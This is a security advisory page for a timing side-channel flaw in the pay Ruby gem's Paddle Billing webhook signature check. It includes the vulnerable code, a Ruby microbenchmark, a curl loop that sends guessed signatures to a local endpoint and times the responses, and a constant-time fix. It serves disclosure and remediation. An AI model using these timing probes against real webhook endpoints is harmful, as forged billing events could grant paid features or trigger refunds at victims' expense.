CVE-2026-70658 — Vulnerability in pay — CVE Details
HIGH
pay-rails/pay: non-constant-time HMAC comparison in Paddle Billing webhook signature verifier
Published July 1, 2026Updated September 15, 2026Source: osv
Summary
## Summary
`Pay::Webhooks::PaddleBillingController#valid_signature?` (`app/controllers/pay/webhooks/paddle_billing_controller.rb`) verifies the Paddle Billing webhook signature by computing `OpenSSL::HMAC.hexdigest(...)` and comparing it to the attacker-supplied header value using Ruby's `String#==`. Ruby's `==` is non-constant-time — it returns as soon as the first byte mismatches — and exposes a per-byte timing side channel on the webhook signature verification path. The canonical mitigation is to use a constant-time primitive (`OpenSSL.fixed_length_secure_compare` / `ActiveSupport::SecurityUtils.secure_compare`).
## Impact
- **CWE-208** — Observable Timing Discrepancy on the webhook signature verifier.
- An attacker who can deliver requests to the `/pay/webhooks/paddle_billing` mount point can probe the verifier with guessed `Paddle-Signature` header values. Because `String#==` short-circuits on the first mismatching byte, the response-time distribution shifts as the prefix of the guess matches the real hex digest.
- A signature recovered through the oracle lets the attacker deliver forged Paddle Billing webhook events (e.g. `subscription.created` / `transaction.completed`) against the host application. Pay's webhook processor enqueues a `Pay::Webhooks::ProcessJob` for any accepted webhook, which downstream applications use to update billing state — including provisioning paid features, recording refunds, and triggering customer notifications.
- The endpoint is internet-reachable by definition (Paddle must POST events to it).
## Affected versions
`pay` (rubygem) ≤ v11.6.1 (latest release as of 2026-05-27).
## Vulnerable code (file:line)
`app/controllers/pay/webhooks/paddle_billing_controller.rb`:
```ruby
24: def valid_signature?(paddle_signature)
25: return false if paddle_signature.blank?
26:
27: ts_part, h1_part = paddle_signature.split(";")
28: _, ts = ts_part.split("=")
29: _, h1 = h1_part.split("=")
30:
31: signed_payload = "#{ts}:#{request.raw_post}"
32:
33: key = Pay::PaddleBilling.signing_secret
34: data = signed_payload
35: digest = OpenSSL::Digest.new("sha256")
36:
37: hmac = OpenSSL::HMAC.hexdigest(digest, key, data)
38: hmac == h1 # <-- non-constant-time '=='
39: end
```
`hmac` is the 64-character hex-encoded SHA-256 HMAC of `"<ts>:<raw_post>"` under the application's configured Paddle Billing signing secret. The comparison with `h1` (the attacker-supplied `h1=` token from the `Paddle-Signature` header) uses Ruby's native `String#==`, which is implemented in MRI as `rb_str_equal` and returns immediately on the first byte mismatch.
## How an attacker reaches this code
1. Any Pay-using Rails application mounting `Pay::Engine` exposes `POST /pay/webhooks/paddle_billing` to the public internet (Paddle requires the endpoint to be reachable). The controller is configured by default in `config/routes.rb` when `paddle_billing` is enabled.
2. The controller's `before_action :verify_signature` invokes `valid_signature?` on every inbound request.
3. An attacker repeatedly POSTs forged webhook payloads with `Paddle-Signature: ts=<now>;h1=<guess>` headers and measures the response time. The verifier returns early on the first mismatching byte of the hex digest; with a sufficient probe count per byte position, response-time distribution reveals when the prefix of `<guess>` matches the real `hmac`.
4. A signature recovered through the oracle lets the attacker forge arbitrary Paddle Billing webhook deliveries.
## Proof of concept (microbenchmark)
Local Ruby microbenchmark isolating the verifier comparison path:
```ruby
require 'openssl'
require 'benchmark'
require 'securerandom'
key = SecureRandom.hex(32)
payload = '1730000000:{"event_type":"transaction.completed"}'
real_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha256'), key, payload)
puts "real_hmac=#{real_hmac}"
def verify(real, guess)
real == guess # mirrors paddle_billing_controller.rb:38
end
guesses = {
'all-wrong' => ('0' * real_hmac.length),
'match-1byte' => real_hmac[0..0] + '0' * (real_hmac.length - 1),
'match-32byte' => real_hmac[0..31] + '0' * (real_hmac.length - 32),
'match-63byte' => real_hmac[0..62] + '0',
'exact-match' => real_hmac.dup,
}
iters = 10_000_000
3.times { guesses.each_value { |g| 1_000_000.times { real_hmac == g } } } # warmup
guesses.each do |label, g|
t = Benchmark.realtime { iters.times { real_hmac == g } }
puts "#{label.ljust(15)} avg_ns=#{(t * 1e9 / iters).round}"
end
```
This isolates the same `String#==` path used by `valid_signature?`. The static defect is verifiable by `bundle show pay` and reading line 38 of the controller.
## End-to-end reproduction against `gem install pay --version 11.6.1`
Minimal Rails 8 app mounting `Pay::Engine` with `paddle_billing` enabled:
```bash
gem install rails -v 8.0.2
rails new payapp --skip-test --skip-bundle
cd payapp
echo "gem 'pay', '11.6.1'" >> Gemfile
echo "gem 'paddle', '~> 2.0'" >> Gemfile
bundle install
bin/rails g pay:install
# config/initializers/pay.rb adds Pay.setup, paddle_billing config
# config/routes.rb already has 'mount Pay::Engine => "/pay"' from generator
bin/rails server &
# attacker probes the webhook endpoint
WEBHOOK="http://127.0.0.1:3000/pay/webhooks/paddle_billing"
BODY='{"event_type":"transaction.completed","data":{}}'
TS=$(date +%s)
# Try guesses with different prefix-match counts; response-time delta is the oracle
for guess in 0000000000000000000000000000000000000000000000000000000000000000 \
a000000000000000000000000000000000000000000000000000000000000000 ; do
for _ in 1 2 3; do
curl -s -w '%{time_total}\n' -o /dev/null \
-X POST -H "Paddle-Signature: ts=$TS;h1=$guess" \
-H 'Content-Type: application/json' -d "$BODY" "$WEBHOOK"
done
done
```
The static defect is verifiable by:
```
$ bundle show pay
.../gems/pay-11.6.1
$ sed -n '38p' .../gems/pay-11.6.1/app/controllers/pay/webhooks/paddle_billing_controller.rb
hmac == h1
```
After the fix is applied, the verifier uses `ActiveSupport::SecurityUtils.secure_compare`, which compares all bytes regardless of mismatch position, and the timing oracle closes.
## Suggested fix
Replace `==` with `ActiveSupport::SecurityUtils.secure_compare` (Pay is a Rails engine, so ActiveSupport is always available).
```diff
def valid_signature?(paddle_signature)
return false if paddle_signature.blank?
ts_part, h1_part = paddle_signature.split(";")
_, ts = ts_part.split("=")
_, h1 = h1_part.split("=")
signed_payload = "#{ts}:#{request.raw_post}"
key = Pay::PaddleBilling.signing_secret
data = signed_payload
digest = OpenSSL::Digest.new("sha256")
hmac = OpenSSL::HMAC.hexdigest(digest, key, data)
- hmac == h1
+ return false if h1.nil? || hmac.bytesize != h1.bytesize
+ ActiveSupport::SecurityUtils.secure_compare(hmac, h1)
end
```
The bytesize-equality guard ensures `secure_compare` does not return early on a length mismatch (it falls back to `==` if lengths differ on older Rails versions). For the Paddle Billing signing format the hex tag is a fixed 64 chars.
## Credit
Reported by tonghuaroot (https://github.com/tonghuaroot).
Advisory Timeline
- First published July 1, 2026 (103 days ago).
- Last revised September 15, 2026 — 75 days after initial publication.
Affected Packages (1)
Affects 1 ecosystem: rubygems (1).
| Package | Ecosystem | Affected | Fixed In |
|---|---|---|---|
| pay | rubygems | 0.0.0, 0.0.2, 1.0.0, 1.0.0.beta2 (+151 more) | Range-based data available |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-208
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 7.4 score means for each attack dimension.
Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
References
Frequently Asked Questions
- What is CVE-2026-70658?
- pay-rails/pay: non-constant-time HMAC comparison in Paddle Billing webhook signature verifier This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.4/10).
- How do I check if my project is affected by CVE-2026-70658?
- CVE-2026-70658 affects pay. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-70658 and 200,000+ other known vulnerabilities.
Severity & Exploitability
CVSS Score
7.4
High exploitability or significant impact. Prioritize remediation within days.
Also Known As
GHSA-mjgf-xj26-9qf9
Related CVEs
- CVE-2026-94462HIGH
Spree: Broken Access Control in `PATCH /api/v3/store/carts/:id/associate` (IDOR)
- CVE-2023-30614HIGH
Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) in Pay
- CVE-2026-77601HIGH
OpenC3 COSMOS: Authenticated OS command injection via the `pypi_url` setting
Check if you're affected
Scan your dependencies to see if this vulnerability affects your projects.
Scan Your Dependencies